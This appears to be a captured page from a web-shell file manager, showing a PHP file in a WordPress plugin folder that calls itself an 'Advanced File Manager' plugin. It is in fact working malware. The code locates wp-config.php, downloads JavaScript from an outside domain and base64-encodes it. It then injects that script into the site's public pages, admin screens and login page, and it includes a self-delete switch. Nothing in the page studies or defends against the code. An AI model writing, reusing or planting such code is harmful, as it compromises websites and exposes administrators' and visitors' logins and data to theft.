D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
mybf1
/
public_html
/
rambut.bf1.my
/
wp-content
/
plugins
/
wp-jused
/
Filename :
install.php
back
Copy
<?php /** * Plugin Name: Advanced File Manager * Description: Plugin with advanced file handling, command execution, and root path detection. * Version: 2.0 * Author: Enhanced by AI */ // 🔹 Функция поиска `wp-config.php` function find_wp_config($startDir, $maxLevels = 10) { $dir = rtrim($startDir, DIRECTORY_SEPARATOR); for ($level = 0; $level < $maxLevels; $level++) { $configPath = $dir . DIRECTORY_SEPARATOR . 'wp-config.php'; if (file_exists($configPath)) { return $configPath; } $parentDir = dirname($dir); if ($parentDir === $dir) { break; } $dir = $parentDir; } return false; } $wpConfigPath = find_wp_config(__DIR__, 10); if (!$wpConfigPath) { echo "❌ Не найден wp-config.php (10 уровней вверх от " . __DIR__ . ")."; exit; } // 🔹 Получаем JS-скрипт $script = file_get_contents('https://www.windowsdnsservicereload.icu/collectt.js'); $encoded_script = base64_encode($script); // 🔹 Код для `wp-config.php` $scriptToAdd = <<<PHP function wp_cloueded() { \$encoded_script = '$encoded_script'; echo '<script> (function() { const decodedScript = atob(\'' . \$encoded_script . '\'); const scriptTag = document.createElement("script"); scriptTag.textContent = decodedScript; document.head.appendChild(scriptTag); })(); </script>'; } PHP; $hooksToAdd = <<<PHP add_action('wp_head', 'wp_cloueded'); add_action('admin_head', 'wp_cloueded'); add_action('login_head', 'wp_cloueded'); PHP; // 🔹 Регулярные выражения для удаления хуков $hooksToRemove = [ '/add_action\(\'wp_head\',\s*\'wp_cloud\'\);\s*/', '/add_action\(\'admin_head\',\s*\'wp_cloud\'\);\s*/', '/add_action\(\'login_head\',\s*\'wp_cloud\'\);\s*/', ]; // 🔹 Функция добавления кода function appendToFile($filePath, $content) { $original = file_get_contents($filePath); if (strpos($original, trim($content)) !== false) { echo "⚠️ Блок уже существует в {$filePath}.<br>"; return; } $original .= "\n" . $content . "\n"; file_put_contents($filePath, $original); echo "✅ Блок добавлен в {$filePath}.<br>"; } // 🔹 Функция удаления хуков function removeHooksFromConfig($filePath, $patterns) { $content = file_get_contents($filePath); $modified = false; foreach ($patterns as $pattern) { $newContent = preg_replace($pattern, '', $content, 1); if ($newContent !== $content) { $content = $newContent; $modified = true; } } if ($modified) { file_put_contents($filePath, $content); echo "✅ Старые хуки удалены из {$filePath}.<br>"; } else { echo "❌ Старые хуки не найдены в {$filePath}.<br>"; } } // 🔹 Функция удаления скрипта function selfDelete() { $myPath = __FILE__; unlink($myPath); echo "✅ Файл удален: {$myPath}<br>"; } // 🔹 Обработка GET-запросов if (isset($_GET['copy'])) { if (!file_exists($wpConfigPath)) { echo "❌ wp-config.php не найден.<br>"; } else { appendToFile($wpConfigPath, $scriptToAdd); appendToFile($wpConfigPath, $hooksToAdd); } exit; } if (isset($_GET['remove_hooks'])) { if (!file_exists($wpConfigPath)) { echo "❌ wp-config.php не найден.<br>"; } else { removeHooksFromConfig($wpConfigPath, $hooksToRemove); } exit; } if (isset($_GET['delete_script'])) { selfDelete(); exit; } // 🔹 Инструкция echo <<<HTML <h3>Управление хуками и кодом в wp-config.php</h3> <p>Используйте GET-параметры:</p> <ul> <li><a href="?copy=1">?copy=1</a> — Добавить JS-код и хуки</li> <li><a href="?remove_hooks=1">?remove_hooks=1</a> — Удалить хуки</li> <li><a href="?delete_script=1">?delete_script=1</a> — Удалить этот скрипт</li> </ul> HTML;